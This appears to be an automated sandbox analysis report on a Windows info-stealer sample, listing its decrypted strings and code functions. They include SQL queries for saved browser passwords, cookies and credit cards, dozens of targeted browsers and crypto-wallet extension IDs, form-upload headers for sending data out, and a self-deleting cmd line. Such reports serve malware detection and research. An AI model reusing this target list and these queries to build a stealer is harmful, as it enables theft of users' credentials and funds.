Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GdipFree
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SymMatchString
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HEAD
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: POST
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: file
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="file"; filename="
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Content-Transfer-Encoding: binary
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SOFT:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PROF: ?
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PROF:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HOST:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: USER:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PASS:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PATH
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PATH=
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Cookies\%s_%s.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: TRUE
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: FALSE
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Autofill\%s_%s.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CC\%s_%s.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Card number:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Name on card:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Expiration date:
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: History\%s_%s.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT url FROM urls
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Downloads\%s_%s.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT target_path, tab_url from downloads
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Login Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Cookies
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Web Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: History
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: logins.json
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: usernameField
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: guid
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Local State
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ..\profiles.ini
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Chrome
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Google\Chrome\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Chromium
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Chromium\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Edge_Chromium
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Microsoft\Edge\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Kometa
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Kometa\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Amigo
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Amigo\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Torch
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Torch\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Orbitum
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Orbitum\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Comodo
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Comodo\Dragon\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Nichrome
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Nichrome\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Maxthon5
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Maxthon5\Users
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Sputnik
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Sputnik\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Epic Privacy Browser\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Vivaldi
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Vivaldi\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CocCoc
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \CocCoc\Browser\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Uran
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \uCozMedia\Uran\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \QIP Surf\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Cent
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \CentBrowser\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Elements
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Elements Browser\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: TorBro
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \TorBro\Profile
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: CryptoTab
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \CryptoTab Browser\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Brave
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \BraveSoftware\Brave-Browser\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Opera
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Stable\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: OperaGX
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Opera Software\Opera GX Stable\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: OperaNeon
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Neon\User Data
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Firefox
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Mozilla\Firefox\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SlimBrowser
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \FlashPeak\SlimBrowser\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: PaleMoon
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Moonchild Productions\Pale Moon\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Waterfox
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Waterfox\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Cyberfox
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \8pecxstudios\Cyberfox\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BlackHawk
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \NETGATE Technologies\BlackHawk\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: IceCat
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Mozilla\icecat\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: KMeleon
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \K-Meleon\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Thunderbird
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: \Thunderbird\Profiles\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: passwords.txt
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: TronLink
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MetaMask
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Binance Chain Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ffnbelfdoeiohenkjibnmadjiehjhajb
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Yoroi
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Nifty Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Math Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Coinbase Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Guarda
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoapac
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: EQUAL Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: cjelfplplebdjjenllpjcblmjkfcffne
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Jaxx Liberty
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BitApp Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: iWallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Wombat
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MEW CX
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nanjmdknhkinifnkgdcggcfnhdaammmj
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GuildWallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nkddgncdjgjfcddamfgcmfnlhccnimig
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Saturn Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: fnjhmkhhmkbjkkabndcnnogagogbneec
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Ronin Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: NeoLine
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nhnkbkgjikgcigadomkphalanndcapjk
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Clover Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: kpfopkelmapcoipemfendmdcghnegimn
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Liquality Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Terra Station
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Keplr
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Sollet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: cnmamaachppnkjgnildpdmkaakejnhae
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Auro Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Polymesh Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ICONex
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nknhiehlklippafakaeklbeglecifhad
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Nabox Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Temple
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: TezBox
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: dkdedlpgdmmkkfjabffeganieamfklkm
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Cyano Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Byone
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: OneKey
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: cihmoadaighcejopammfbmddcmdekcje
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: LeafWallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lodccjjbdhfakaekdiahmedfbieldgik
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DAppPlay
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ijmpgkjfkbfhoebgogflfebnmejmfbml
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: BitClip
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Steem Keychain
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: onofpnbbkehpmmoabgpcpmigafmmnjhl
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Nash Extension
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: bcopgchhojmggmffilplmbdicgaihlkp
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Hycon Lite Client
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: klnaejjgbibmhlephnhpmaofohgkpgkd
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ZilPay
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Coin98 Wallet
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Phantom
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: bhghoamapcdpbohphigoooaddinpkbai
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Authenticator
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Authy
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: oeljdldpnmdbchonielidgobddffflal
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: EOS Authenticator
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ilgcnhelpchnceeipipijaljkblbcobl
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: GAuth Authenticator
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: imloifkgjagghnncjkhggdhalmcnfklk
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Trezor Password Manager
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %s\%s\Local Extension Settings\%s
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %s\CURRENT
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %s\%s\Sync Extension Settings\%s
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: %s\%s\IndexedDB\chrome-extension_%s_0.indexeddb.leveldb
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: Plugins\
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ProductName
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Cryptography
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: MachineGuid
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DisplayName
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: screenshot.jpg
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "%s" & exit
Source: 0.2.IrAr85Qv7X.exe.400000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00407650 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00407650
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_004072D0 CryptUnprotectData,	0_2_004072D0
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_004078E0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004078E0
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00404960 memset,CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00404960
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_004075B0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004075B0

Source: IrAr85Qv7X.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: IrAr85Qv7X.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_004098D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004098D0
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\IrAr85Qv7X.exe	Code function: 0_2_00408920 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00408920
